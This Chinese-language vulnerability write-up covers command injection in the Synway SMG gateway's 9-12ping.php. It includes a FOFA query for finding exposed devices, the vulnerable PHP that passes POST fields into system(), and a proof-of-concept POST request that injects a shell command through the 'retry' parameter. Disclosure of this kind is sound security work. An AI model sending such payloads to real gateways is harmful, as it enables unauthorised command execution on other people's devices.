漏洞简介

在Synway SMG网关管理软件（版本至2025年2月4日）中发现了一个严重漏洞。该漏洞影响某些未知的文件处理过程，特别是名为“9-12ping.php”的文件。由于参数“retry”的处理不当，导致命令注入问题，攻击者可以通过远程发起攻击。

fofa语法

body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management")

漏洞分析

直接看 9-12ping.php 关键业务逻辑实现部分

if($_POST[save]!="")
{
  $enable_radius_new = $_POST[enable_radius]==""?0:1;
  $enable_auth_new = $_POST[enable_auth]==""?0:1;
  $access_ifnoreply = $_POST[access_ifnoreply]==""?0:1;
  $pstn2ip = $_POST[pstn2ip]==""?0:1;
  $ip2pstn = $_POST[ip2pstn]==""?0:1;
  $call_start = $_POST[call_start]==""?0:1;
  $call_failed = $_POST[call_failed]==""?0:1;
  WriteConfig($file,"RadiusConfig","EnableRadius",$enable_radius_new,2);
  if($enable_radius_new)
  {
    WriteConfig($file,"RadiusConfig","ServerAddress",$_POST[radius_address],2);
    WriteConfig($file,"RadiusConfig","ShareSecret",$_POST[shared_secret],2);
    WriteConfig($file,"RadiusConfig","ServerAddress2",$_POST[radius_address2],2);
    WriteConfig($file,"RadiusConfig","ShareSecret2",$_POST[shared_secret2],2);
    WriteConfig($file,"RadiusConfig","SourceIP",$_POST[source_ip],2);
    WriteConfig($file,"RadiusConfig","Timeout",$_POST[timeout],2);
    WriteConfig($file,"RadiusConfig","Retry",$_POST[retry],2);
    WriteConfig($file,"RadiusConfig","Alive",$_POST[alive],2);
    WriteConfig($file,"RadiusConfig","EnableAuth",$enable_auth_new,2);
    WriteConfig($file,"RadiusConfig","AccessIfNoReply",$access_ifnoreply,2);
    WriteConfig($file,"RadiusConfig","Pstn2IP",$pstn2ip,2);
    WriteConfig($file,"RadiusConfig","IP2PSTN",$ip2pstn,2);
    WriteConfig($file,"RadiusConfig","CallStart",$call_start,2);
    WriteConfig($file,"RadiusConfig","CallFailed",$call_failed,2);

    $address_info = explode(":",$_POST[radius_address]);
    $cmd = "sed -i 's/server first .*/server first $address_info[0] $_POST[shared_secret] 1812 $address_info[1]/g' $radius_file";
    system($cmd);
    if($_POST[radius_address2] == "")
    {
      if(!$flag)
      {//没有配置备用服务器的话就把相应的配置项注释掉
       $cmd = "sed -i 's/server second .*/#server second /g' $radius_file";
       system($cmd);
      }
    }
    else
    {
      $address_info = explode(":",$_POST[radius_address2]);
      if($flag)
      {//如果备用服务器地址被注释的话要解开注释
       $cmd = "sed -i 's/#server second .*/server second $address_info[0] $_POST[shared_secret2] 1812 $address_info[1]/g' $radius_file";
      }
      else
      {
        $cmd = "sed -i 's/server second .*/server second $address_info[0] $_POST[shared_secret2] 1812 $address_info[1]/g' $radius_file";
      }
      system($cmd);
    }
    $cmd = "sed -i 's/source_ip .*/source_ip $_POST[source_ip]/g' $radius_file";
    system($cmd);
    $cmd = "sed -i 's/timeout .*/timeout $_POST[timeout]/g' $radius_file";
    system($cmd);
    $cmd = "sed -i 's/retry .*/retry $_POST[retry]/g' $radius_file";
    system($cmd);
  }

  $serverIP = "127.0.0.1";
  $SC = new Socket($serverIP,1002);
  $REP = $SC->eachMsg("CRC");
  $last_line = system('sync', $retval);
  if($enable_radius_new != $enable_radius || $enable_auth_new != $enable_auth)
    echo "<script language=javascript>alert('The parameters have been modified; please restart the service to vaildate them!');history.back();</script>";
  else
    echo "<script language=javascript>alert('The parameters have been modified!');history.back();</script>";
}
  ?>

radius_address、shared_secret、radius_address2、source_ip、timeout、retry 均是直接拼接进system函数的命令里进行执行，造成命令注入漏洞。

漏洞复现

漏洞利用示例

POST /en/9-12ping.php HTTP/1.1
Host: synway.mrxn.net
Content-Type: application/x-www-form-urlencoded

alive=5&enable_auth=on&enable_radius=on&radius_address=127.0.0.1%3A1813&radius_address2=&retry=';echo%20vulnable;'&save=Save  &shared_secret=foobar&shared_secret2=&source_ip=1.1.1.1&timeout=1

成功在响应输出测试字符串 vulnable